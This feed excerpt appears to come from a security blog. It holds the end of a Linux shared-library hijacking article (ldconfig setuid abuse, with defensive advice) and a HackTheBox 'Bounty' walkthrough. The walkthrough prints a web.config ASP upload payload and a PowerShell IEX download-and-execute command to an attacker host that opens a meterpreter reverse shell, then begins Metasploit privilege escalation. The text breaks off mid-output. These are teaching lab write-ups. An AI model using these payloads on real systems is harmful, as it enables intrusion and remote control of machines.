/lib/ld-linux.so.2 <span class="o">(</span>0xb77a2000<span class="o">)</span> </code></pre></div></div> <p>You can see that the <strong>libcustom.so</strong> linked with these two programs is the evil one. However, when we run them, we have the following output:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:/tmp<span class="nv">$ </span>/usr/bin/myexec Welcome to my amazing application! Hello buddy! LAB-Blog:/tmp<span class="nv">$ </span>/usr/bin/myexec2 Welcome to my amazing application! I<span class="s1">'m the bad library </span></code></pre></div></div> <p><span style="color:ForestGreen">Certain security measures have been put in place to avoid this kind of exploits</span> but there was a time where it was possible and I think this is a pretty interesting mechanism to understand.</p> <h3 id="3-setuid-bit-on-ldconfig">3. Setuid bit on ldconfig</h3> <p><code class="language-plaintext highlighter-rouge">ldconfig</code> is used to create, udpate and remove symbolic links for the current shared libraries based on the lib directories present in <strong>/etc/ld.so.conf</strong>. <span style="color:red">This application has no setuid bit enabled by default but if an unconscious administrator sets it, he is exposing himself to some serious issues.</span></p> <p><strong>/etc/ld.so.conf</strong> is a configuration file pointing to other configuration files that will help the linker to locate libraries.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:~<span class="nv">$ </span><span class="nb">cat</span> /etc/ld.so.conf include /etc/ld.so.conf.d/<span class="k">*</span>.conf </code></pre></div></div> <p>Inside <strong>/etc/ld.so.conf.d/</strong>, you can have several files with each of them specifying a directory to explore when searching for libraries. For example, <strong>libc.conf</strong> contains the following:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:/etc/ld.so.conf.d<span class="nv">$ </span><span class="nb">cat </span>libc.conf <span class="c"># libc default configuration</span> /usr/local/lib </code></pre></div></div> <p><span style="color:red">If a hazardous administrator creates a configuration file, which adds a world-writable directory (i.e. <strong>/tmp</strong>) to the group of directories being checked by the linker, an attacker could place its malicious library here.</span></p> <p>It won’t be sufficient for our exploit though! We now need to use <strong>ldconfig</strong> to update the linker’s cache so that it will be aware of this new evil library. The cache can be updated with <code class="language-plaintext highlighter-rouge">ldconfig</code> without specifying any parameter. However, it has to be executed as root… This is where the setuid bit comes into play. Let me show you.</p> <p>The configuration file from where everything starts:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:~<span class="nv">$ </span><span class="nb">cat</span> /etc/ld.so.conf.d/shouldnt_be_here.conf /tmp </code></pre></div></div> <p>The evil library placed inside /tmp:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /tmp/ total 12 <span class="nt">-rwxrwxr-x</span> 1 boiteaklou boiteaklou 7096 Nov 20 11:01 libcustom.so </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">ldd</code> output <strong>BEFORE</strong> executing <code class="language-plaintext highlighter-rouge">ldconfig</code>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:~<span class="nv">$ </span>ldd /usr/bin/myexec linux-gate.so.1 <span class="o">=&gt;</span> <span class="o">(</span>0xb7759000<span class="o">)</span> libcustom.so <span class="o">=&gt;</span> /usr/lib/libcustom.so <span class="o">(</span>0xb774c000<span class="o">)</span> <span class="c"># Pointing to the original library</span> libc.so.6 <span class="o">=&gt;</span> /lib/i386-linux-gnu/libc.so.6 <span class="o">(</span>0xb7596000<span class="o">)</span> /lib/ld-linux.so.2 <span class="o">(</span>0xb775a000<span class="o">)</span> </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">ldd</code> output <strong>AFTER</strong> executing <code class="language-plaintext highlighter-rouge">ldconfig</code>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:~<span class="nv">$ </span>ldconfig LAB-Blog:~<span class="nv">$ </span>ldd /usr/bin/myexec linux-gate.so.1 <span class="o">=&gt;</span> <span class="o">(</span>0xb77c8000<span class="o">)</span> libcustom.so <span class="o">=&gt;</span> /tmp/libcustom.so <span class="o">(</span>0xb77bb000<span class="o">)</span> <span class="c"># Now pointing to /tmp/libcustom.so</span> libc.so.6 <span class="o">=&gt;</span> /lib/i386-linux-gnu/libc.so.6 <span class="o">(</span>0xb7605000<span class="o">)</span> /lib/ld-linux.so.2 <span class="o">(</span>0xb77c9000<span class="o">)</span> </code></pre></div></div> <p>Now we execute the application…</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:~<span class="nv">$ </span>/usr/bin/myexec Welcome to my amazing application! I<span class="s1">'m the bad library </span></code></pre></div></div> <p>…And the exploit works just fine!</p> <h4 id="alternative-to-etcldsoconf">Alternative to /etc/ld.so.conf</h4> <p>What I just showed you is working, but actually, there’s even simpler. <span style="color:red">The configuration file including <strong>/tmp</strong> is not mandatory since we have the setuid bit set on <code class="language-plaintext highlighter-rouge">ldconfig</code></span>. Indeed, <code class="language-plaintext highlighter-rouge">ldconfig -f</code> allows us to use a different configuration file from the existing <strong>/etc/ld.so.conf</strong>.</p> <p>What we have to do is pretty simple, follow the example.</p> <p>We create our fake <strong>ld.so.conf</strong>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:/tmp<span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"include /tmp/conf/*"</span> <span class="o">&gt;</span> fake.ld.so.conf </code></pre></div></div> <p>Then, we add a configuration file to the location indicated by <strong>fake.ld.so.conf</strong>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:/tmp<span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"/tmp"</span> <span class="o">&gt;</span> conf/evil.conf </code></pre></div></div> <p>Finally, we execute <code class="language-plaintext highlighter-rouge">ldconfig</code> with the -f option:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:/tmp<span class="nv">$ </span>ldconfig <span class="nt">-f</span> fake.ld.so.conf </code></pre></div></div> <p>And we enjoy the result:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB-Blog:/tmp<span class="nv">$ </span>ldd /usr/bin/myexec linux-gate.so.1 <span class="o">=&gt;</span> <span class="o">(</span>0xb7761000<span class="o">)</span> libcustom.so <span class="o">=&gt;</span> /tmp/libcustom.so <span class="o">(</span>0xb7754000<span class="o">)</span> libc.so.6 <span class="o">=&gt;</span> /lib/i386-linux-gnu/libc.so.6 <span class="o">(</span>0xb759e000<span class="o">)</span> /lib/ld-linux.so.2 <span class="o">(</span>0xb7762000<span class="o">)</span> LAB-Blog:/tmp<span class="nv">$ </span>/usr/bin/myexec Welcome to my amazing application! I<span class="s1">'m the bad library </span></code></pre></div></div> <p>Even more straight-forward! :smile:</p> <h2 id="how-can-we-defend-against-this">How can we defend against this?</h2> <p>As a general principle, <strong>DO NOT set the setuid bit</strong> on a program if you don’t asbolutely control every aspect of its execution, a lot of them can be used in a way that allows privilege escalations.</p> <p>Another fundamental aspect that shouldn’t be left behind is the <strong>management of user permissions</strong>. As we’ve seen earlier, allowing a user to write inside /usr/lib can lead to severe security issues. If you’re a system administrator, ensure that low-privileged users can’t write to:</p> <ul> <li><strong>/usr/lib</strong> and <strong>/lib</strong></li> <li>Locations specified by <strong>/etc/ld.so.conf</strong></li> <li>If <strong>LD_LIBRARY_PATH</strong> is set by default on your system, the user shouldn’t be able to write at the location specified by this variable.</li> </ul> <p>More generally, ensure that every action performed by users are executed with the lowest privileges.</p> <p id="signature">BoiteAKlou :hammer:</p>BoiteAKlouLinux applications often use dynamically linked shared object libraries. These libraries allow code flexibility but they have their drawbacks… In this article, we will study the weaknesses of shared libraries and how to exploit them in many different ways. Each exploit will be illustrated by a concrete example, which should make you understand how to reproduce it. I’ll give recommendations on how to protect your system against it in the final part of the article.HackTheBox: Bounty writeup - Metasploit basics2018-10-28T21:00:00+00:002018-10-28T21:00:00+00:00/HackTheBox-Bounty<p>Hack The Box is an online platform that allows you to test your pentesting skills on virtual machines intentionally left vulnerable. It is a great place to learn and the community is very helpful so I warmly recommend you to check this site out.</p> <p><img src="/assets/2018-10-28/bounty-box.png" alt="Bounty box" title="Bounty Box" /></p> <p>This machine was pretty easy so I’m going to take this opportunity to explain you <strong>the basics of the Metasploit framework</strong>. <!--excerpt--></p> <h1 class="no_toc" id="table-of-contents">Table of Contents</h1> <ul id="markdown-toc"> <li><a href="#metasploit-introduction" id="markdown-toc-metasploit-introduction">Metasploit Introduction</a></li> <li><a href="#initial-foothold" id="markdown-toc-initial-foothold">Initial Foothold</a> <ul> <li><a href="#port-scanning" id="markdown-toc-port-scanning">Port scanning</a></li> <li><a href="#web-application-mapping" id="markdown-toc-web-application-mapping">Web Application mapping</a></li> </ul> </li> <li><a href="#user-access" id="markdown-toc-user-access">User Access</a> <ul> <li><a href="#meterpreter-shell" id="markdown-toc-meterpreter-shell">Meterpreter Shell</a> <ul> <li><a href="#meterpreter-shell-payload" id="markdown-toc-meterpreter-shell-payload">Meterpreter Shell Payload</a></li> <li><a href="#payload-incorporation" id="markdown-toc-payload-incorporation">Payload Incorporation</a></li> <li><a href="#upload-webconfig-and-access-it" id="markdown-toc-upload-webconfig-and-access-it">Upload web.config and access it</a></li> <li><a href="#back-to-msfconsole" id="markdown-toc-back-to-msfconsole">Back to msfconsole</a></li> <li><a href="#gimme-this-usertxt" id="markdown-toc-gimme-this-usertxt">Gimme this user.txt</a></li> </ul> </li> </ul> </li> <li><a href="#privilege-escalation" id="markdown-toc-privilege-escalation">Privilege Escalation</a> <ul> <li><a href="#local-exploit-suggester" id="markdown-toc-local-exploit-suggester">Local Exploit Suggester</a></li> <li><a href="#ms10_092_schelevator" id="markdown-toc-ms10_092_schelevator">ms10_092_schelevator</a></li> </ul> </li> <li><a href="#final-words" id="markdown-toc-final-words">Final Words</a></li> </ul> <h2 id="metasploit-introduction">Metasploit Introduction</h2> <p>Metasploit is an open-source pentesting framework distributed by <strong>Rapid7</strong>. It is extremly powerful and easy to use once you understand the logic.</p> <p>You can use it for generating a bunch of payloads for every system or languages with <strong>msfvenom</strong>. It can also be run as an interactive console for connecting to the target system and exploiting it without leaving the console.</p> <p>Metasploit relies on <strong>modules</strong>, which are specifically designed to exploit vulnerabilities. Each module has <strong>a list of options</strong> that you have to set in order to adapt the exploit to your specific environment. Then, you type “exploit” and <strong>Metasploit does the job for you</strong>.</p> <p>This tool is <strong>extremely powerful</strong> when you want to exploit something quickly but it is <strong>not the best approach</strong> in a learning process because everything is done hunder the hood and you don’t really know what happens on the system. To be used with caution… :wink:</p> <h2 id="initial-foothold">Initial Foothold</h2> <p>Back to our Bounty machine, we will perform the usual steps of <strong>information gathering</strong>.</p> <h3 id="port-scanning">Port scanning</h3> <p>First, run a <strong>nmap</strong> scan with default scripts and version detection enabled. We will run a deeper scan if nothing is found.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Nmap 7.70 scan initiated Sun Oct 21 13:58:33 2018 as: nmap -sC -sV -oA nmap/bounty 10.10.10.93</span> Nmap scan report <span class="k">for </span>10.10.10.93 Host is up <span class="o">(</span>0.039s latency<span class="o">)</span><span class="nb">.</span> Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/7.5 |_http-title: Bounty Service Info: OS: Windows<span class="p">;</span> CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span> <span class="c"># Nmap done at Sun Oct 21 13:58:45 2018 -- 1 IP address (1 host up) scanned in 12.07 seconds</span> </code></pre></div></div> <p>A single open port doesn’t seem like much so we will run a deeper scan in background while we start investigating this website.</p> <blockquote> <p>We can notice that the webserver runs on IIS 7.5, which is completely outdated since the last version is 10.0.</p> </blockquote> <h3 id="web-application-mapping">Web Application mapping</h3> <p>A good practice for saving time is to start running a directory listing tool such as <strong>dirbuster</strong> or <strong>gobuster</strong> before playing with the website’s features manually. I prefer using <strong>gobuster</strong> since it’s a bit faster.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali:~/Bounty/dirb<span class="nv">$ </span>gobuster <span class="nt">-u</span> http://10.10.10.93/ <span class="nt">-w</span> /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt <span class="nt">-o</span> gobuster/bounty </code></pre></div></div> <p>The scan will take a few minutes so we will check the results later.</p> <p>Let’s see what this website looks like…</p> <p><img src="/assets/2018-10-28/website.png" alt="Bounty website" title="Bounty website" /></p> <p>A wonderful merlin drawing! It might be an hint.</p> <p>The source code doesn’t reveal anything more… Hopefully gobuster will fly to our rescue!</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali:~/Bounty<span class="nv">$ </span><span class="nb">cat </span>gobuster/bounty /UploadedFiles <span class="o">(</span>Status: 301<span class="o">)</span> /uploadedFiles <span class="o">(</span>Status: 301<span class="o">)</span> /uploadedfiles <span class="o">(</span>Status: 301<span class="o">)</span> </code></pre></div></div> <p>The <strong>/uploadedfiles/</strong> directory seems very interesting but access is denied. However, an educated guess could tell that there should be an upload page somewhere…</p> <p>We also know that the server is running on IIS so file extensions should be <strong>asp</strong> or <strong>aspx</strong>. We can refine our search by adding <code class="language-plaintext highlighter-rouge">-x .aspx</code> to gobuster, based on the assumptions we just made.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali:~/Bounty<span class="nv">$ </span>gobuster <span class="nt">-u</span> http://10.10.10.93/ <span class="nt">-w</span> /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt <span class="nt">-t</span> 50 <span class="nt">-x</span> .aspx <span class="nt">-o</span> gobuster/bounty.aspx <span class="o">=====================================================</span> Gobuster v2.0.0 OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span> <span class="o">=====================================================</span> <span class="o">[</span>+] Mode : <span class="nb">dir</span> <span class="o">[</span>+] Url/Domain : http://10.10.10.93/ <span class="o">[</span>+] Threads : 50 <span class="o">[</span>+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt <span class="o">[</span>+] Status codes : 200,204,301,302,307,403 <span class="o">[</span>+] Extensions : aspx <span class="o">[</span>+] Timeout : 10s <span class="o">=====================================================</span> 2018/10/27 22:43:30 Starting gobuster <span class="o">=====================================================</span> /transfer.aspx <span class="o">(</span>Status: 200<span class="o">)</span> </code></pre></div></div> <p>Running it only a few seconds is enough to reveal <strong>transfer.aspx</strong>.</p> <p><img src="/assets/2018-10-28/transfer.png" alt="Transfer.aspx" title="Transfer.aspx" /></p> <p>We found our entry point. Let’s exploit it!</p> <h2 id="user-access">User Access</h2> <p>Googling “IIS 7.5 upload RCE” teaches us that <strong>ASP</strong> code can be executed by uploading a file called <strong>web.config</strong>.</p> <p>We will test if the website is vulnerable by uploading the following file:</p> <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span> <span class="nt">&lt;configuration&gt;</span> <span class="nt">&lt;system.webServer&gt;</span> <span class="nt">&lt;handlers</span> <span class="na">accessPolicy=</span><span class="s">"Read, Script, Write"</span><span class="nt">&gt;</span> <span class="nt">&lt;add</span> <span class="na">name=</span><span class="s">"web_config"</span> <span class="na">path=</span><span class="s">"*.config"</span> <span class="na">verb=</span><span class="s">"*"</span> <span class="na">modules=</span><span class="s">"IsapiModule"</span> <span class="na">scriptProcessor=</span><span class="s">"%windir%\system32\inetsrv\asp.dll"</span> <span class="na">resourceType=</span><span class="s">"Unspecified"</span> <span class="na">requireAccess=</span><span class="s">"Write"</span> <span class="na">preCondition=</span><span class="s">"bitness64"</span> <span class="nt">/&gt;</span> <span class="nt">&lt;/handlers&gt;</span> <span class="nt">&lt;security&gt;</span> <span class="nt">&lt;requestFiltering&gt;</span> <span class="nt">&lt;fileExtensions&gt;</span> <span class="nt">&lt;remove</span> <span class="na">fileExtension=</span><span class="s">".config"</span> <span class="nt">/&gt;</span> <span class="nt">&lt;/fileExtensions&gt;</span> <span class="nt">&lt;hiddenSegments&gt;</span> <span class="nt">&lt;remove</span> <span class="na">segment=</span><span class="s">"web.config"</span> <span class="nt">/&gt;</span> <span class="nt">&lt;/hiddenSegments&gt;</span> <span class="nt">&lt;/requestFiltering&gt;</span> <span class="nt">&lt;/security&gt;</span> <span class="nt">&lt;/system.webServer&gt;</span> <span class="nt">&lt;/configuration&gt;</span> <span class="err">&lt;</span>% Response.write("-"<span class="err">&amp;</span>"-&gt;") Response.write(1+2) Response.write("<span class="cp">&lt;!-"&amp;"-") %&gt;</span> </code></pre></div></div> <p>The ASP code is located at the very bottom of the file, between <strong>&lt;%</strong> and <strong>%&gt;</strong>. With this payload, the server should return “3” if it is vulnerable.</p> <p><img src="/assets/2018-10-28/uploaded.png" alt="File uploaded" title="File uploaded" /></p> <p>Our file uploaded successfully so it means this file extension is allowed. We will suppose that files are not renamed during the upload so we will try to access it at <strong>/uploadedfiles/web.config</strong>.</p> <p><img src="/assets/2018-10-28/vulnerable.png" alt="RCE vulnerability test" title="RCE vulnerability test" /></p> <p>It works! :fireworks: Now we should be able to execute commands on the web server.</p> <h3 id="meterpreter-shell">Meterpreter Shell</h3> <p>A reverse shell is generally what we are looking for when it comes to RCE. This time we will do better!</p> <p>Metasploit can generate specific payloads but also setup a listener that will wait for the return of our reverse shell. But why would we do that? Because it offers the possibility to execute metasploit exploit modules directly inside our remote session. We can also juggle between several sessions, which can be pretty useful in some cases.</p> <p>Here is the list of steps we will follow:</p> <ol> <li>Generate our <strong>meterpreter shell payload</strong>.</li> <li>Incorporate the payload into the <strong>web.config</strong> file.</li> <li>Upload the web.config file.</li> <li>Access the uploaded file in order to trigger the payload.</li> <li>See what happens…</li> </ol> <h4 id="meterpreter-shell-payload">Meterpreter Shell Payload</h4> <p>First, we have to run Metasploit console with <code class="language-plaintext highlighter-rouge">msfconsole</code>. Then, we will use the <strong>web delivery script</strong> exploit module. A module is loaded with the keyword <em>“use”</em>, followed by the path of the module.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf <span class="o">&gt;</span> use exploit/multi/script/web_delivery msf exploit<span class="o">(</span>multi/script/web_delivery<span class="o">)</span> <span class="o">&gt;</span> </code></pre></div></div> <p>Then, you can type <em>“options”</em> to list all available parameters for this module:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf exploit<span class="o">(</span>multi/script/web_delivery<span class="o">)</span> <span class="o">&gt;</span> options Module options <span class="o">(</span>exploit/multi/script/web_delivery<span class="o">)</span>: Name Current Setting Required Description <span class="nt">----</span> <span class="nt">---------------</span> <span class="nt">--------</span> <span class="nt">-----------</span> SRVHOST 0.0.0.0 <span class="nb">yes </span>The <span class="nb">local </span>host to listen on. This must be an address on the <span class="nb">local </span>machine or 0.0.0.0 SRVPORT 8080 <span class="nb">yes </span>The <span class="nb">local </span>port to listen on. SSL <span class="nb">false </span>no Negotiate SSL <span class="k">for </span>incoming connections SSLCert no Path to a custom SSL certificate <span class="o">(</span>default is randomly generated<span class="o">)</span> URIPATH no The URI to use <span class="k">for </span>this exploit <span class="o">(</span>default is random<span class="o">)</span> Payload options <span class="o">(</span>python/meterpreter/reverse_tcp<span class="o">)</span>: Name Current Setting Required Description <span class="nt">----</span> <span class="nt">---------------</span> <span class="nt">--------</span> <span class="nt">-----------</span> LHOST <span class="nb">yes </span>The listen address <span class="o">(</span>an interface may be specified<span class="o">)</span> LPORT 4444 <span class="nb">yes </span>The listen port Exploit target: Id Name <span class="nt">--</span> <span class="nt">----</span> 0 Python </code></pre></div></div> <p>We will now specify several parameters in order to adapt the payload to our environment.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf exploit<span class="o">(</span>multi/script/web_delivery<span class="o">)</span> <span class="o">&gt;</span> <span class="nb">set </span>SRVHOST 10.10.13.75 <span class="c"># Ip address of our machine</span> SRVHOST <span class="o">=&gt;</span> 10.10.13.75 msf exploit<span class="o">(</span>multi/script/web_delivery<span class="o">)</span> <span class="o">&gt;</span> <span class="nb">set </span>TARGET 2 <span class="c"># TARGET 2 = powershell payload</span> TARGET <span class="o">=&gt;</span> 2 msf exploit<span class="o">(</span>multi/script/web_delivery<span class="o">)</span> <span class="o">&gt;</span> <span class="nb">set </span>PAYLOAD windows/x64/meterpreter/reverse_tcp <span class="c"># The payload we want to inject, a reverse shell</span> PAYLOAD <span class="o">=&gt;</span> windows/x64/meterpreter/reverse_tcp msf exploit<span class="o">(</span>multi/script/web_delivery<span class="o">)</span> <span class="o">&gt;</span> <span class="nb">set </span>LHOST 10.10.13.75 <span class="c"># IP address for the reverse shell</span> LHOST <span class="o">=&gt;</span> 10.10.13.75 msf exploit<span class="o">(</span>multi/script/web_delivery<span class="o">)</span> <span class="o">&gt;</span> exploit <span class="o">[</span><span class="k">*</span><span class="o">]</span> Exploit running as background job 0. msf exploit<span class="o">(</span>multi/script/web_delivery<span class="o">)</span> <span class="o">&gt;</span> <span class="o">[</span><span class="k">*</span><span class="o">]</span> Started reverse TCP handler on 10.10.13.75:4444 <span class="o">[</span><span class="k">*</span><span class="o">]</span> Using URL: http://10.10.13.75:8080/moceswFJvKmkeD8 <span class="o">[</span><span class="k">*</span><span class="o">]</span> Server started. <span class="o">[</span><span class="k">*</span><span class="o">]</span> Run the following <span class="nb">command </span>on the target machine: powershell.exe <span class="nt">-nop</span> <span class="nt">-w</span> hidden <span class="nt">-c</span> <span class="nv">$g</span><span class="o">=</span>new-object net.webclient<span class="p">;</span><span class="nv">$g</span>.proxy<span class="o">=[</span>Net.WebRequest]::GetSystemWebProxy<span class="o">()</span><span class="p">;</span><span class="nv">$g</span>.Proxy.Credentials<span class="o">=[</span>Net.CredentialCache]::DefaultCredentials<span class="p">;</span>IEX <span class="nv">$g</span>.downloadstring<span class="o">(</span><span class="s1">'http://10.10.13.75:8080/moceswFJvKmkeD8'</span><span class="o">)</span><span class="p">;</span> </code></pre></div></div> <p>Here is our payload! We must now integrate it into the <strong>web.config</strong> file. Do not close the msfconsole or hit CTR+C because Metasploit is currently listening and waiting for the payload to return.</p> <h4 id="payload-incorporation">Payload Incorporation</h4> <p>As you may have noticed, the payload is a <strong>powershell script</strong> (remember <em>set TARGET 2</em>) and not an <strong>ASP</strong> script. However, we can call system functions in <strong>ASP</strong> so we will call <strong>cmd.exe</strong> and pass our payload as an argument.</p> <p>This will result in the following <strong>web.config</strong> file:</p> <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span> <span class="nt">&lt;configuration&gt;</span> <span class="nt">&lt;system.webServer&gt;</span> <span class="nt">&lt;handlers</span> <span class="na">accessPolicy=</span><span class="s">"Read, Script, Write"</span><span class="nt">&gt;</span> <span class="nt">&lt;add</span> <span class="na">name=</span><span class="s">"web_config"</span> <span class="na">path=</span><span class="s">"*.config"</span> <span class="na">verb=</span><span class="s">"*"</span> <span class="na">modules=</span><span class="s">"IsapiModule"</span> <span class="na">scriptProcessor=</span><span class="s">"%windir%\system32\inetsrv\asp.dll"</span> <span class="na">resourceType=</span><span class="s">"Unspecified"</span> <span class="na">requireAccess=</span><span class="s">"Write"</span> <span class="na">preCondition=</span><span class="s">"bitness64"</span> <span class="nt">/&gt;</span> <span class="nt">&lt;/handlers&gt;</span> <span class="nt">&lt;security&gt;</span> <span class="nt">&lt;requestFiltering&gt;</span> <span class="nt">&lt;fileExtensions&gt;</span> <span class="nt">&lt;remove</span> <span class="na">fileExtension=</span><span class="s">".config"</span> <span class="nt">/&gt;</span> <span class="nt">&lt;/fileExtensions&gt;</span> <span class="nt">&lt;hiddenSegments&gt;</span> <span class="nt">&lt;remove</span> <span class="na">segment=</span><span class="s">"web.config"</span> <span class="nt">/&gt;</span> <span class="nt">&lt;/hiddenSegments&gt;</span> <span class="nt">&lt;/requestFiltering&gt;</span> <span class="nt">&lt;/security&gt;</span> <span class="nt">&lt;/system.webServer&gt;</span> <span class="nt">&lt;/configuration&gt;</span> <span class="err">&lt;</span>% on error resume next Dim oS,output Set oS = Server.CreateObject("WSCRIPT.SHELL") output = oS.exec("cmd.exe &gt; /c powershell.exe -nop -w hidden -c $B=new-object net.webclient;$B.proxy=[Net.WebRequest]::GetSystemWebProxy();$B.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $B.downloadstring('http://10.10.13.75:8080/G783OPiDR3Em');").stdout.readall Response.write("Powershell: " <span class="err">&amp;</span> vbCrLf <span class="err">&amp;</span> output <span class="err">&amp;</span> vbCrLf <span class="err">&amp;</span> vbCrLf) %&gt; </code></pre></div></div> <h4 id="upload-webconfig-and-access-it">Upload web.config and access it</h4> <p>Now we have to upload our <strong>web.config</strong> file and visit the URL <a href="http://10.10.10.93/uploadedfiles/web.config">http://10.10.10.93/uploadedfiles/web.config</a> to trigger the payload.</p> <h4 id="back-to-msfconsole">Back to msfconsole</h4> <p>We should see the following inside <strong>msfconsole</strong>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span><span class="k">*</span><span class="o">]</span> 10.10.10.93 web_delivery - Delivering Payload <span class="o">[</span><span class="k">*</span><span class="o">]</span> Sending stage <span class="o">(</span>206403 bytes<span class="o">)</span> to 10.10.10.93 <span class="o">[</span><span class="k">*</span><span class="o">]</span> Meterpreter session 1 opened <span class="o">(</span>10.10.13.75:4444 -&gt; 10.10.10.93:49158<span class="o">)</span> at 2018-10-28 19:23:06 +0100 </code></pre></div></div> <p>A session has been opened on the remote target. We can list every opened sessions with <code class="language-plaintext highlighter-rouge">sessions -l</code></p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf exploit<span class="o">(</span>multi/script/web_delivery<span class="o">)</span> <span class="o">&gt;</span> sessions <span class="nt">-l</span> Active sessions <span class="o">===============</span> Id Name Type Information Connection <span class="nt">--</span> <span class="nt">----</span> <span class="nt">----</span> <span class="nt">-----------</span> <span class="nt">----------</span> 1 meterpreter x64/windows BOUNTY<span class="se">\m</span>erlin @ BOUNTY 10.10.13.75:4444 -&gt; 10.10.10.93:49158 <span class="o">(</span>10.10.10.93<span class="o">)</span> </code></pre></div></div> <p>As you can see, we are currently connected as <strong>merlin</strong> on the <strong>BOUNTY</strong> machine.</p> <h4 id="gimme-this-usertxt">Gimme this user.txt</h4> <p>It’s now time to retrieve the <strong>user flag</strong>.</p> <p>Inside <strong>msfconsole</strong>, we can move into the session number 1 with <code class="language-plaintext highlighter-rouge">sessions -i 1</code> and we should arrive in a meterpreter shell.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf exploit<span class="o">(</span>multi/script/web_delivery<span class="o">)</span> <span class="o">&gt;</span> sessions <span class="nt">-i</span> 1 <span class="o">[</span><span class="k">*</span><span class="o">]</span> Starting interaction with 1... meterpreter <span class="o">&gt;</span> </code></pre></div></div> <p>From here, we can use a few shell commands (the full list can be displayed by typing <code class="language-plaintext highlighter-rouge">help</code> or <code class="language-plaintext highlighter-rouge">?</code>) or type <code class="language-plaintext highlighter-rouge">shell</code> and dive into the classical Windows command prompt.</p> <p>I suggest you to play around with the available commands from <strong>meterpreter</strong> and to get familiar with it.</p> <p>The following command will give you the user flag:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>meterpreter <span class="o">&gt;</span> <span class="nb">cat </span>C:/Users/merlin/Desktop/user.txt e29ad8[...]2f44a2f </code></pre></div></div> <h2 id="privilege-escalation">Privilege Escalation</h2> <p>The privilege escalation was very straight-forward for this box, especially with meterpreter.</p> <p>We will use a great module for lazy people, which is called: <strong>local_exploit_suggester</strong>.</p> <h3 id="local-exploit-suggester">Local Exploit Suggester</h3> <p>Back in our metepreter session, we can call this module with the following command:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>meterpreter <span class="o">&gt;</span> run post/multi/recon/local_exploit_suggester <span class="o">[</span><span class="k">*</span><span class="o">]</span> 10.10.10.93 - Collecting <span class="nb">local </span>exploits <span class="k">for </span>x64/windows... <span class="o">[</span><span class="k">*</span><span class="o">]</span> 10.10.10.93 - 10 exploit checks are being tried... <span class="o">[</span>+] 10.10.10.93 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable. <span class="o">[</span>+] 10.10.10.93 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable. <span class="o">[</span>+] 10.10.10.93 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable. </code></pre></div></div> <p>So many options! :smiling_imp:</p> <p>Let’s try the first one…</p> <h3 id="ms10_092_schelevator">ms10_092_schelevator</h3> <p>We can background our current <strong>meterpreter session</strong> thanks to the command <code class="language-plaintext highlighter-rouge">background</code> so we go back to <strong>msfconsole</strong>.</p> <p>Then, we can tell Metasploit to use <strong>exploit/windows/local/ms10_092_schelevator</strong></p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf exploit<span class="o">(</span>multi/script/web_delivery<span class="o">)</span> <span class="o">&gt;</span> use exploit/windows/local/ms10_092_schelevator msf exploit<span class="o">(</span>windows/local/ms10_092_schelevator<span class="o">)</span> <span class="o">&gt;</span> options Module options <span class="o">(</span>exploit/windows/local/ms10_092_schelevator<span class="o">)</span>: Name Current Setting Required Description <span class="nt">----</span> <span class="nt">---------------</span> <span class="nt">--------</span> <span class="nt">-----------</span> CMD no Command to execute instead of a payload SESSION <span class="nb">yes </span>The session to run this module on. 